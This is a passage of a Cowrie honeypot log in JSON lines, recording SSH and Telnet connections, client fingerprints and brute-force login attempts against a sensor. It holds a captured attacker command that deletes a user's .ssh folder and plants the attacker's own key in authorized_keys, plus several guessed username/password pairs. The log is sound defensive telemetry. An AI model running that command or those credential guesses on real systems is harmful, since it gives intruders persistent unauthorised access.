mac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:02.519645Z","src_ip":"103.146.202.174","session":"861b018552dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":60758,"dst_ip":"10.17.0.5","dst_port":22,"session":"43925fbdd712","protocol":"ssh","message":"New connection: 109.91.4.177:60758 (10.17.0.5:22) [session: 43925fbdd712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:03.436634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:03.442053Z","src_ip":"109.91.4.177","session":"43925fbdd712","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"ZAQ!2wsx","message":"login attempt [oracle/ZAQ!2wsx] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:03.514821Z","src_ip":"103.146.202.174","session":"861b018552dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:03.549620Z","src_ip":"109.91.4.177","session":"43925fbdd712","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:04.090836Z","src_ip":"103.146.202.174","session":"861b018552dc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:04.095496Z","src_ip":"103.146.202.174","session":"861b018552dc","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:04.100265Z","src_ip":"103.146.202.174","session":"861b018552dc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:04.347780Z","src_ip":"103.146.202.174","session":"861b018552dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"1234","message":"login attempt [odoo/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:04.462847Z","src_ip":"109.91.4.177","session":"43925fbdd712","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:04.887895Z","src_ip":"103.146.202.174","session":"861b018552dc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:04.892421Z","src_ip":"103.146.202.174","session":"861b018552dc","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:05.144415Z","src_ip":"103.146.202.174","session":"861b018552dc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:05.149726Z","src_ip":"103.146.202.174","session":"861b018552dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":36394,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7b1ab9b9dd2","protocol":"ssh","message":"New connection: 103.146.202.174:36394 (10.17.0.5:22) [session: f7b1ab9b9dd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:05.384028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:05.396843Z","src_ip":"103.146.202.174","session":"f7b1ab9b9dd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:05.577038Z","src_ip":"109.91.4.177","session":"43925fbdd712","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:05.649260Z","src_ip":"103.146.202.174","session":"f7b1ab9b9dd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:06.661676Z","src_ip":"103.146.202.174","session":"f7b1ab9b9dd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:07.913398Z","src_ip":"103.146.202.174","session":"f7b1ab9b9dd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":37226,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f8bc56c2a8f","protocol":"ssh","message":"New connection: 103.146.202.174:37226 (10.17.0.5:22) [session: 3f8bc56c2a8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:08.159897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:08.165221Z","src_ip":"103.146.202.174","session":"3f8bc56c2a8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:08.416297Z","src_ip":"103.146.202.174","session":"3f8bc56c2a8f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:09.446507Z","src_ip":"103.146.202.174","session":"3f8bc56c2a8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:09.706572Z","src_ip":"103.146.202.174","session":"861b018552dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:09.717839Z","src_ip":"103.146.202.174","session":"3f8bc56c2a8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00810170173645,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:19.456867Z","src_ip":"37.52.61.49","session":"69c8f9e346a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.52.61.49","src_port":44624,"dst_ip":"159.203.135.109","dst_port":23,"session":"eefc3b3c4f06","protocol":"telnet","message":"New connection: 37.52.61.49:44624 (159.203.135.109:23) [session: eefc3b3c4f06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:19.817963Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":53320,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9e6262e9733","protocol":"ssh","message":"New connection: 2.57.121.25:53320 (10.17.0.5:22) [session: f9e6262e9733]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:29.472969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:29.478855Z","src_ip":"2.57.121.25","session":"f9e6262e9733","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:29.584354Z","src_ip":"2.57.121.25","session":"f9e6262e9733","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.48.213.208","src_port":5190,"dst_ip":"10.17.0.5","dst_port":22,"session":"19afcaba13d1","protocol":"ssh","message":"New connection: 185.48.213.208:5190 (10.17.0.5:22) [session: 19afcaba13d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:29.840531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:29.845500Z","src_ip":"185.48.213.208","session":"19afcaba13d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:29.966266Z","src_ip":"185.48.213.208","session":"19afcaba13d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"280882","message":"login attempt [user/280882] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:30.061144Z","src_ip":"2.57.121.25","session":"f9e6262e9733","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbadmin","password":"dbadmin123","message":"login attempt [dbadmin/dbadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:30.481128Z","src_ip":"185.48.213.208","session":"19afcaba13d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"28071976","message":"login attempt [user/28071976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:31.166385Z","src_ip":"2.57.121.25","session":"f9e6262e9733","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:31.603910Z","src_ip":"185.48.213.208","session":"19afcaba13d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"280690","message":"login attempt [user/280690] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:32.269665Z","src_ip":"2.57.121.25","session":"f9e6262e9733","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"28061993","message":"login attempt [user/28061993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:33.377071Z","src_ip":"2.57.121.25","session":"f9e6262e9733","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"28061987","message":"login attempt [user/28061987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:34.489367Z","src_ip":"2.57.121.25","session":"f9e6262e9733","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:35.596485Z","src_ip":"2.57.121.25","session":"f9e6262e9733","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.106.188.32","src_port":49044,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9b57a3d555d","protocol":"ssh","message":"New connection: 103.106.188.32:49044 (10.17.0.5:22) [session: a9b57a3d555d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:45.109435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:45.115669Z","src_ip":"103.106.188.32","session":"a9b57a3d555d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:45.423606Z","src_ip":"103.106.188.32","session":"a9b57a3d555d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"terrariaserver","password":"terrariaserver","message":"login attempt [terrariaserver/terrariaserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:47.431170Z","src_ip":"103.106.188.32","session":"a9b57a3d555d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:48.721130Z","src_ip":"103.106.188.32","session":"a9b57a3d555d","protocol":"ssh"}
